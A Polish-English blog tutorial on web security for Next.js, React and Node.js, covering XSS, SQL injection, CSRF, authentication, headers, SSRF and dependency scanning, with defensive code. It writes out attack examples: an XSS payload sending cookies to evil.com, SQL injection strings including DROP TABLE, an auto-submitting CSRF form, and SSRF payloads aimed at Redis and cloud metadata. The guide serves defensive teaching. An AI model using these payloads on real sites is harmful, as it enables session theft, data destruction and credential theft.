Web Security Best Practices 2025: Zabezpiecz swoją aplikację jak pro
Web Security Best Practices 2025: Zabezpiecz swoją aplikację jak pro
78% aplikacji webowych ma krytyczne vulnerability (OWASP 2025 Report). XSS, SQL Injection, CSRF, clickjacking - te ataki nie zniknęły, tylko się ewoluowały. W 2024 roku średni koszt data breach wyniósł $4.45 miliona (IBM Security Report).
Jako web developer, security jest Twoją odpowiedzialnością. "Nasz backend team się tym zajmie" to nie wymówka - frontend też musi być security-hardened.
W tym kompleksowym przewodniku pokażę Ci top 10 security vulnerabilities OWASP 2025 i jak się przed nimi chronić w Next.js, React i Node.js. Real-world examples, code snippets, production-ready solutions.
Spis treści
- XSS (Cross-Site Scripting) - #1 vulnerability
- SQL Injection - klasyka, która wciąż zabija
- CSRF (Cross-Site Request Forgery)
- Broken Authentication
- Security Misconfiguration - CSP, Headers
- Sensitive Data Exposure
- Rate Limiting & DDoS Protection
- Dependency Vulnerabilities
- Server-Side Request Forgery (SSRF)
- Security Headers Checklist
1. XSS (Cross-Site Scripting) - #1 Web Vulnerability
Problem: Unescaped user input
Real attack scenario (2024): Hacker wkleił to w pole komentarza:
<img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">
Result: Ukradzione session cookies wszystkich użytkowników którzy zobaczyli ten komentarz. 🚨
Types of XSS
1. Stored XSS (najgroźniejszy)
Malicious script jest zapisany w bazie i wyświetlany wszystkim użytkownikom.
// ❌ VULNERABLE CODE
function CommentList({ comments }) {
return (
<div>
{comments.map(comment => (
<div
key={comment.id}
dangerouslySetInnerHTML={{ __html: comment.content }} // 🚨 XSS!
/>
))}
</div>
);
}
2. Reflected XSS
Malicious script w URL parametrze.
// ❌ VULNERABLE CODE
function SearchResults() {
const params = useSearchParams();
const query = params.get('q');
return <h1>Results for: {query}</h1>; // 🚨 If query contains <script>
}
// Attack URL:
// https://site.com/search?q=<script>alert(document.cookie)</script>
3. DOM-based XSS
JavaScript manipuluje DOM unsafely.
// ❌ VULNERABLE CODE
function updateContent(userInput) {
document.getElementById('output').innerHTML = userInput; // 🚨 XSS!
}
✅ Solutions: XSS Prevention
Solution #1: Never use dangerouslySetInnerHTML
// ✅ SAFE: React escapes by default
function CommentList({ comments }) {
return (
<div>
{comments.map(comment => (
<div key={comment.id}>
{comment.content} {/* ✅ Automatically escaped! */}
</div>
))}
</div>
);
}
Solution #2: DOMPurify for HTML sanitization
// ✅ SAFE: When you MUST render HTML
import DOMPurify from 'isomorphic-dompurify';
function CommentList({ comments }) {
return (
<div>
{comments.map(comment => {
const sanitized = DOMPurify.sanitize(comment.content, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href'],
});
return (
<div
key={comment.id}
dangerouslySetInnerHTML={{ __html: sanitized }}
/>
);
})}
</div>
);
}
Solution #3: Content Security Policy (CSP)
// next.config.js
const nextConfig = {
async headers() {
return [
{
source: '/:path*',
headers: [
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self' 'unsafe-inline' 'unsafe-eval'", // ⚠️ Remove unsafe-* in production
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self' data:",
"connect-src 'self'",
"frame-ancestors 'none'", // Prevent clickjacking
].join('; '),
},
],
},
];
},
};
2. SQL Injection - Klasyka, która wciąż zabija
Problem: Concatenating user input in SQL
// ❌ CRITICALLY VULNERABLE
async function getUser(userId: string) {
const query = `SELECT * FROM users WHERE id = ${userId}`;
return db.execute(query);
}
// Attack:
getUser("1 OR 1=1"); // Returns ALL users!
getUser("1; DROP TABLE users;--"); // Deletes entire table! 💀
Real case (2024): E-commerce site lost entire customer database to SQL injection. Cost: $12M in lawsuits.
✅ Solutions: SQL Injection Prevention
Solution #1: Parameterized Queries (ORM)
// ✅ SAFE: Prisma ORM
async function getUser(userId: string) {
return prisma.user.findUnique({
where: { id: userId }, // ✅ Automatically parameterized
});
}
// ✅ SAFE: Raw SQL with parameters
async function getUser(userId: string) {
return db.execute(
'SELECT * FROM users WHERE id = ?',
[userId] // ✅ Parameters are escaped
);
}
Solution #2: Input Validation
// ✅ SAFE: Validate input before query
import { z } from 'zod';
const UserIdSchema = z.string().uuid(); // Only UUIDs allowed
async function getUser(userId: string) {
const validatedId = UserIdSchema.parse(userId); // Throws if invalid
return prisma.user.findUnique({
where: { id: validatedId },
});
}
Solution #3: Principle of Least Privilege
-- ❌ DON'T: App DB user has admin rights
GRANT ALL PRIVILEGES ON database.* TO 'app_user'@'localhost';
-- ✅ DO: App DB user has minimal rights
GRANT SELECT, INSERT, UPDATE ON database.users TO 'app_user'@'localhost';
-- No DROP, no DELETE on critical tables
3. CSRF (Cross-Site Request Forgery)
Problem: Malicious site makes authenticated request
Attack scenario:
- User zalogowany na
bank.com
- User odwiedza
evil.com
evil.com
zawiera:
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker_account">
<input name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
- Browser wysyła cookies z
bank.com
→ $10,000 transferred! 💸
✅ Solutions: CSRF Prevention
Solution #1: CSRF Tokens
// Next.js API route
import { getCsrfToken } from 'next-auth/csrf';
export async function GET(request: Request) {
const csrfToken = await getCsrfToken({ req: request });
return Response.json({ csrfToken });
}
export async function POST(request: Request) {
const { csrfToken, ...data } = await request.json();
// Verify CSRF token
const isValid = await verifyCsrfToken(request, csrfToken);
if (!isValid) {
return Response.json({ error: 'Invalid CSRF token' }, { status: 403 });
}
// Process request...
}
Solution #2: SameSite Cookie Attribute
// Set session cookie with SameSite
export function setSessionCookie(response: Response, sessionId: string) {
response.headers.set(
'Set-Cookie',
`session=${sessionId}; HttpOnly; Secure; SameSite=Strict; Path=/`
);
}
SameSite options:
Strict
- Cookie NEVER sent cross-site (safest, may break legitimate flows)Lax
- Cookie sent on top-level navigation (balance security/UX)None
- Cookie always sent (requiresSecure
flag)
Solution #3: Check Origin Header
// Middleware
export function csrfMiddleware(request: Request) {
const origin = request.headers.get('origin');
const host = request.headers.get('host');
if (origin && new URL(origin).host !== host) {
return Response.json(
{ error: 'CSRF attack detected' },
{ status: 403 }
);
}
return null; // OK
}
4. Broken Authentication
Problem #1: Weak password hashing
// ❌ CRITICALLY VULNERABLE
import crypto from 'crypto';
function hashPassword(password: string) {
return crypto.createHash('md5').update(password).digest('hex'); // 🚨 MD5 is broken!
}
Why bad: MD5 can be cracked in seconds with rainbow tables.
✅ Solution: bcrypt or Argon2
// ✅ SAFE: bcrypt
import bcrypt from 'bcrypt';
async function hashPassword(password: string) {
const saltRounds = 12; // Higher = more secure (slower)
return bcrypt.hash(password, saltRounds);
}
async function verifyPassword(password: string, hash: string) {
return bcrypt.compare(password, hash);
}
Problem #2: No rate limiting on login
Attack: Brute force 1000 passwords/second until one works.
✅ Solution: Rate limiting
// lib/rateLimit.ts
const attempts = new Map<string, { count: number; resetAt: number }>();
export function checkRateLimit(ip: string, maxAttempts = 5, windowMs = 60000) {
const now = Date.now();
const record = attempts.get(ip);
if (!record || now > record.resetAt) {
attempts.set(ip, { count: 1, resetAt: now + windowMs });
return { allowed: true, remaining: maxAttempts - 1 };
}
if (record.count >= maxAttempts) {
return {
allowed: false,
remaining: 0,
retryAfter: Math.ceil((record.resetAt - now) / 1000),
};
}
record.count++;
return { allowed: true, remaining: maxAttempts - record.count };
}
// Usage in API route
export async function POST(request: Request) {
const ip = request.headers.get('x-forwarded-for') || 'unknown';
const limit = checkRateLimit(ip);
if (!limit.allowed) {
return Response.json(
{ error: 'Too many attempts. Try again later.' },
{
status: 429,
headers: { 'Retry-After': limit.retryAfter.toString() }
}
);
}
// Process login...
}
Problem #3: Predictable session IDs
// ❌ VULNERABLE
let sessionCounter = 0;
function generateSessionId() {
return `session_${sessionCounter++}`; // 🚨 Attacker can guess!
}
✅ Solution: Cryptographically secure random IDs
// ✅ SAFE
import { randomBytes } from 'crypto';
function generateSessionId() {
return randomBytes(32).toString('hex'); // 64 char random hex
}
5. Security Misconfiguration - Headers & CSP
Critical Security Headers
// middleware.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
export function middleware(request: NextRequest) {
const response = NextResponse.next();
// 1. Strict-Transport-Security (HSTS)
response.headers.set(
'Strict-Transport-Security',
'max-age=31536000; includeSubDomains; preload'
);
// 2. X-Frame-Options (Clickjacking protection)
response.headers.set('X-Frame-Options', 'DENY');
// 3. X-Content-Type-Options (MIME sniffing protection)
response.headers.set('X-Content-Type-Options', 'nosniff');
// 4. X-XSS-Protection (Legacy XSS protection)
response.headers.set('X-XSS-Protection', '1; mode=block');
// 5. Referrer-Policy (Control referrer info)
response.headers.set('Referrer-Policy', 'strict-origin-when-cross-origin');
// 6. Permissions-Policy (Disable dangerous APIs)
response.headers.set(
'Permissions-Policy',
'camera=(), microphone=(), geolocation=()'
);
// 7. Cross-Origin-Opener-Policy (COOP)
response.headers.set('Cross-Origin-Opener-Policy', 'same-origin');
// 8. Cross-Origin-Resource-Policy (CORP)
response.headers.set('Cross-Origin-Resource-Policy', 'same-origin');
return response;
}
Test your headers
Visit: https://securityheaders.com
Enter your domain → Get A+ rating 🏆
6. Sensitive Data Exposure
Problem: Exposing too much data to client
// ❌ VULNERABLE: Server Component
async function UserProfile() {
const user = await db.users.findById(userId);
// 🚨 Passing entire user object (with password hash!) to client component
return <UserCard user={user} />;
}
// Client Component
'use client';
function UserCard({ user }) {
console.log(user); // 🚨 Password hash visible in DevTools!
return <div>{user.name}</div>;
}
✅ Solution: Data sanitization layer
// lib/sanitize.ts
import 'server-only'; // ⚠️ Ensures this is never imported in client components
export function sanitizeUserForClient(user: User) {
return {
id: user.id,
name: user.name,
avatar: user.avatar,
role: user.role,
// ❌ DON'T expose:
// - password
// - email (unless needed)
// - apiKeys
// - internalNotes
};
}
// Usage
async function UserProfile() {
const user = await db.users.findById(userId);
const safeUser = sanitizeUserForClient(user); // ✅ Filter sensitive data
return <UserCard user={safeUser} />;
}
Problem: API keys in frontend code
// ❌ CRITICALLY VULNERABLE
const STRIPE_SECRET_KEY = 'sk_live_abc123xyz'; // 🚨 Exposed in bundle.js!
fetch('https://api.stripe.com/v1/charges', {
headers: { 'Authorization': `Bearer ${STRIPE_SECRET_KEY}` }
});
✅ Solution: Environment variables + API routes
# .env.local (NEVER commit to git!)
STRIPE_SECRET_KEY=sk_live_abc123xyz
// app/api/create-payment/route.ts (Server-side only!)
export async function POST(request: Request) {
const { amount } = await request.json();
const stripe = new Stripe(process.env.STRIPE_SECRET_KEY!); // ✅ Server-only
const paymentIntent = await stripe.paymentIntents.create({
amount,
currency: 'usd',
});
return Response.json({ clientSecret: paymentIntent.client_secret });
}
7. Rate Limiting & DDoS Protection
Production-ready Rate Limiter (Upstash Redis)
// lib/rateLimit.ts
import { Redis } from '@upstash/redis';
const redis = new Redis({
url: process.env.UPSTASH_REDIS_URL!,
token: process.env.UPSTASH_REDIS_TOKEN!,
});
export async function rateLimit(
identifier: string,
limit = 10,
window = 60 // seconds
) {
const key = `rate_limit:${identifier}`;
const count = await redis.incr(key);
if (count === 1) {
await redis.expire(key, window);
}
if (count > limit) {
const ttl = await redis.ttl(key);
return {
allowed: false,
remaining: 0,
reset: Date.now() + ttl * 1000,
};
}
return {
allowed: true,
remaining: limit - count,
reset: Date.now() + window * 1000,
};
}
// Usage
export async function POST(request: Request) {
const ip = request.headers.get('x-forwarded-for') || 'unknown';
const result = await rateLimit(ip, 5, 60);
if (!result.allowed) {
return Response.json(
{ error: 'Rate limit exceeded' },
{
status: 429,
headers: {
'X-RateLimit-Limit': '5',
'X-RateLimit-Remaining': '0',
'X-RateLimit-Reset': new Date(result.reset).toISOString(),
}
}
);
}
// Process request...
}
8. Dependency Vulnerabilities
Problem: Outdated packages with known CVEs
# Example: old version of 'axios' with security flaw
npm list axios
# axios@0.21.0 (known CVE-2021-3749)
✅ Solutions
1. npm audit (built-in)
npm audit
# Shows vulnerabilities
npm audit fix
# Auto-fixes non-breaking changes
npm audit fix --force
# Fixes including breaking changes (review first!)
2. Snyk (advanced scanning)
npx snyk test
# Scans for vulnerabilities
npx snyk wizard
# Interactive fix wizard
3. Dependabot (GitHub automation)
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
Result: Automatic PRs for security updates! 🤖
9. Server-Side Request Forgery (SSRF)
Problem: Unvalidated URL fetching
// ❌ VULNERABLE
export async function POST(request: Request) {
const { url } = await request.json();
// 🚨 Attacker can make server fetch internal resources!
const response = await fetch(url);
return Response.json(await response.json());
}
// Attack:
POST /api/fetch
{ "url": "http://localhost:6379/INFO" } // Reads Redis data!
{ "url": "http://169.254.169.254/latest/meta-data/" } // AWS credentials!
✅ Solution: URL whitelist
// ✅ SAFE
const ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com'];
export async function POST(request: Request) {
const { url } = await request.json();
const urlObj = new URL(url);
// Block private IPs
if (
urlObj.hostname === 'localhost' ||
urlObj.hostname === '127.0.0.1' ||
urlObj.hostname.startsWith('192.168.') ||
urlObj.hostname.startsWith('10.') ||
urlObj.hostname.startsWith('172.16.')
) {
return Response.json({ error: 'Invalid URL' }, { status: 400 });
}
// Whitelist check
if (!ALLOWED_HOSTS.includes(urlObj.hostname)) {
return Response.json({ error: 'Host not allowed' }, { status: 403 });
}
const response = await fetch(url);
return Response.json(await response.json());
}
10. Security Headers Checklist
Complete Checklist ✅
// Production-ready security headers
export const securityHeaders = {
// 1. HTTPS enforcement
'Strict-Transport-Security': 'max-age=31536000; includeSubDomains; preload',
// 2. XSS protection
'X-XSS-Protection': '1; mode=block',
'Content-Security-Policy': [
"default-src 'self'",
"script-src 'self' 'unsafe-inline' 'unsafe-eval'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self' data:",
"connect-src 'self'",
"frame-ancestors 'none'",
].join('; '),
// 3. Clickjacking protection
'X-Frame-Options': 'DENY',
// 4. MIME sniffing protection
'X-Content-Type-Options': 'nosniff',
// 5. Referrer policy
'Referrer-Policy': 'strict-origin-when-cross-origin',
// 6. Disable dangerous features
'Permissions-Policy': 'camera=(), microphone=(), geolocation=()',
// 7. Cross-origin isolation
'Cross-Origin-Opener-Policy': 'same-origin',
'Cross-Origin-Embedder-Policy': 'require-corp',
'Cross-Origin-Resource-Policy': 'same-origin',
};
Podsumowanie: Security Checklist 2025
✅ Input Validation
- [ ] All user input sanitized (DOMPurify)
- [ ] Schema validation (Zod, Yup)
- [ ] File upload restrictions (type, size)
✅ Authentication & Authorization
- [ ] Strong password hashing (bcrypt, Argon2)
- [ ] Rate limiting on login (5 attempts/min)
- [ ] Session management (secure cookies)
- [ ] CSRF protection (tokens + SameSite)
✅ Data Protection
- [ ] Sensitive data sanitized before client
- [ ] API keys in environment variables
- [ ] Encrypted database connections (TLS)
- [ ] HTTPS everywhere (HSTS header)
✅ Infrastructure
- [ ] Security headers configured
- [ ] CSP policy defined
- [ ] Dependencies updated (npm audit weekly)
- [ ] Rate limiting on API routes
✅ Monitoring
- [ ] Error tracking (Sentry)
- [ ] Security alerts (Snyk, Dependabot)
- [ ] Logging (but no sensitive data!)
Tools Checklist
- ✅ DOMPurify - XSS protection
- ✅ Zod - Input validation
- ✅ bcrypt - Password hashing
- ✅ Upstash Redis - Rate limiting
- ✅ Snyk - Dependency scanning
- ✅ Sentry - Error monitoring
- ✅ Dependabot - Auto security updates
Powiązane artykuły
Potrzebujesz security audit dla swojej aplikacji? Skontaktuj się ze mną - przeprowadzam penetration testing i implementuję security best practices!
Autor: Next Gen Code | Data publikacji: 18 października 2025 | Czas czytania: 13 minut
Powiązane artykuły
AI w Web Development 2025: Jak automatyzować kodowanie bez utraty bezpieczeństwa
# AI w Web Development 2025: Jak automatyzować kodowanie bez utraty bezpieczeństwa Sztuczna inteligencja **radykalnie zmienia sposób tworzenia aplikacji webow...
NextGenScan: Sekret za 38% szybszym wykrywaniem zagrożeń w Twojej aplikacji
**Czy kiedykolwiek zastanawiałeś się, co naprawdę dzieje się pod maską Twojej aplikacji?** W ciemnych zakamarkach kodu, gdzie kończy się to, co widzisz w prze...
React Server Components w praktyce: Kompletny przewodnik 2025
# React Server Components w praktyce: Kompletny przewodnik 2025 React Server Components (RSC) to **rewolucja w architekturze aplikacji webowych**, która funda...